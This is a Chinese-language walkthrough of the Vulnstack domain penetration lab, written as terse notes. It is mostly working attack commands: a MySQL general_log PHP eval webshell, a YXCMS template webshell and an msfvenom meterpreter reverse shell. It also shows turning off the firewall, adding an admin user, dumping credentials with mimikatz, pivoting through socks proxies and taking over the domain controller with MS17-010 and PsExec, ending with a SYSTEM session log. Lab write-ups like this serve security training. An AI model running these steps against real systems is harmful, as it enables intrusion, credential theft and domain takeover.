配置网卡
编辑->虚拟网络编辑器
自定义为仅主机模式
配置win7网络
添加两块网卡,一块为VMnet1(仅主机模式),一块为VMnet8(net模式连通外网)
配置VMnet1网卡 (win7)
DNS服务器是windows server的ip, vulnstack配置好了
使用win7 ping一下 windows server, 能ping同则成功
配置好后加入域
控制面板->系统安全->系统->高级系统设置, 加入域时会提示已有域用户,登录即可.
此时kali win7都使用VMnet8 都处于同一网段下, 都可访问外网
kali
win7
如果访问不了网站可能是防火墙的原因, 将apache mysql的程序全部允许通过防火墙即可
目录扫描
弱口令弱口令登录(root root)
日志拿shell
查看日志状况 show variables like "%log%"
开启日志 set global general_log='on'
修改日志路径 set global general_log_file='C:\\phpStudy\\WWW\\test2.php'
查看开启情况 show variables like "general_log%"
写入shell
select "<?php eval($_POST[123]);?>"
yxcms
发现备份文件, 是yxcms 版本 1.2.1
访问index.php?r=admin登录后台
admin 123456
在前台模板 index_index.php中插入一句话
访问http://192.168.137.129/yxcms/即可getshell
msf
生成windows x64木马
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=攻击机ip LPORT=12345 -f exe -o hack.exe
建立监听
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
注意对应x64
set LHOST 目标机ip
set LPORT 12345
run
在蚁剑中执行 start hack.exe
当执行hack.exe后进程是十分容易被发现的
migrate -N explorer.exe 迁移到任务管理器中
原先的hack.exe进程也会消失
设置反弹shell后自动迁移
set autorunscript migrate -N explorer.exe
或者
set autorunscript migrate -f (默认迁移到记事本)
关闭防火墙
输入shell进入windows的cmd
如果有乱码, 可以输入chcp 65001
(65001就是utf-8, 将cmd的编码和kali统一)
查看防火墙状态
netsh firewall show state
关闭防火墙
netsh firewall set opmode disable
开启3389端口
不知道为啥 kali上反弹的shell不能执行这个命令, 只能使用蚁剑执行
REG ADD HKLMSYSTEMCurrentControlSetControlTerminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
添加用户
net user test 123root! /add
net localgroup administrators test /add
远程登录
ipconfig /all 查询ip 域信息
systeminfo 查询系统信息
net config Workstation 查询计算机信息, 域信息
net user 本机用户
net user /domain 查询域用户
net view /domain:god god是域名, 查看域主机名
net user test /domain 查询域内test用户
net user /domain test 123 修改test用户密码为123
net group /domain 查询域工作组
net group 组名 /domain 查询域中某工作组
net group "domain admins" /domain 查询域管理员
net group "domain controllers" /domain 查看域控制器
tasklist 查询进程 是否有杀毒软件之类的
......
域内主机存活探测
ICMP协议
也就是ping命令
进入shell执行
for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.52.%I | findstr "TTL"
探测存活主机
msf的udp_probe
需要添加socks代理, 在后面
use auxiliary/scanner/discovery/udp_probe
set rhosts 192.168.52.0/24
set threads 5
run
发现DNS server一般为域控
这里提权十分简单, 实际情况可能更复杂
自带模块
post/windows/gather/smart_hashdump
使用mimikatz
load mimikatz 加载模块
mimikatz_command -f sekurlsa::searchPasswords 获取明文密码
使用kiwi
load kiwi
creds_all 获取密码
kiwi_cmd mimikatz命令 可以使用mimikatz所有命令
kiwi_cmd sekurlsa::logonpasswords
上传mimikatz获取明文
https://github.com/gentilkiwi/mimikatz/releases
上传文件
meterpreter > upload /home/alanlitl//mimikatz_trunk/x64/mimikatz.exe C:\\phpStudy\\WWW\\yxcms
进入windows的shell运行mimikatz
提升权限
privilege::debug
获取密码
sekurlsa::logonPasswords
meterpreter > run autoroute -s 192.168.52.0/24 内网网段
meterpreter > run autoroute -p 查看添加的路由
将上面的进程移到后台(千万不能结束或者新建msf窗口)
background 或者 session 2(未使用的session数字) 添加到后台
use auxiliary/server/socks4a
set srvhost kali的ip
set srvport 1080(如果创建失败可能是端口占用, 使用其他端口即可)
run
修改/etc/proxychains.conf文件
改为自己socks的ip port即可
前面已经找到了内网的其他主机
192.168.52.141和192.168.52.138
use exploit/windows/smb/ms17_010_psexec
set payload windows/meterpreter/bind_tcp
set rhost 192.168.52.141
成功拿下
但是执行mimikatz时却失败了
但我们在前面已经拿到了密码
2313root! 我更改过
开始在kali上使用
exploit/windows/smb/psexec
模块一直失败, 以为是模块问题, 结果是域控防火墙开着, 只能在win7上使用PsExec.exe进行登录
下载地址:https://docs.microsoft.com/zh-cn/sysinternals/downloads/psexec
上传
在已经拿下的win7上执行(远程桌面)
PsExec.exe \\192.168.52.138 -u liukaifeng01 -s cmd.exe 输入密码后进入交互shell
一定要加-s以system权限执行
这时已经相当于拿下域控了, 我们现在开启远程桌面
查看防火墙状态(win8 开始就有了不同的防火墙命令)
关闭防火墙
现在就可以使用msf远程登录了
要在开启proxychains代理的情况下
use exploit/windows/smb/psexec
set payload windows/x64/meterpreter/bind_tcp (这里要使用主动连接, 域控在内网里面.我们无法访问)
set rhosts 192.168.52.138
set smbpass 2313root!
set smbuser liukaifeng01
run
设置远程桌面端口
reg add "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /t REG_DWORD /v portnumber /d 3389 /f
开启远程桌面
wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1
在windows下配置代理
使用proxifier(网上有许多教程)
其中address是你的kali的ip, kali要先搭建好proxychains
代理好后,在浏览器访问192.168.52.99或者192.168.52.138
如果能访问则代理成功
这里还遇到一个小坑, 输入账号的时候不能使用直接使用
liukaifeng01
,要使用GOD\liukaifeng01, 否则就会提示密码错误
错误的账户
使用正确的账户登录
远程连接成功
在关闭防火墙的情况下
proxychains msfconsole 使用代理启动msf
use exploit/windows/smb/ms17_010_psexec
set payload windows/meterpreter/bind_tcp 不出网使用正向连接
set rhost 192.168.2.138 域ip
run
msf5 exploit(windows/smb/ms17_010_psexec) > run
|S-chain|-<>-192.168.3.130:1080-<><>-192.168.2.138:445-<><>-OK
[*] 192.168.2.138:445 - Target OS: Windows Server 2008 R2 Datacenter 7601 Service Pack 1
[*] 192.168.2.138:445 - Built a write-what-where primitive...
[+] 192.168.2.138:445 - Overwrite complete... SYSTEM session obtained!
[*] 192.168.2.138:445 - Selecting PowerShell target
[*] 192.168.2.138:445 - Executing the payload...
[+] 192.168.2.138:445 - Service start timed out, OK if running a command or non-service executable...
[*] Started bind TCP handler against 192.168.2.138:4444
|S-chain|-<>-192.168.3.130:1080-<><>-192.168.2.138:4444-<><>-OK
[*] Sending stage (176195 bytes) to 192.168.2.138
[*] Meterpreter session 1 opened (0.0.0.0:0 -> 192.168.3.130:1080) at 2021-01-21 18:07:19 +0800
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
成功获取拿下域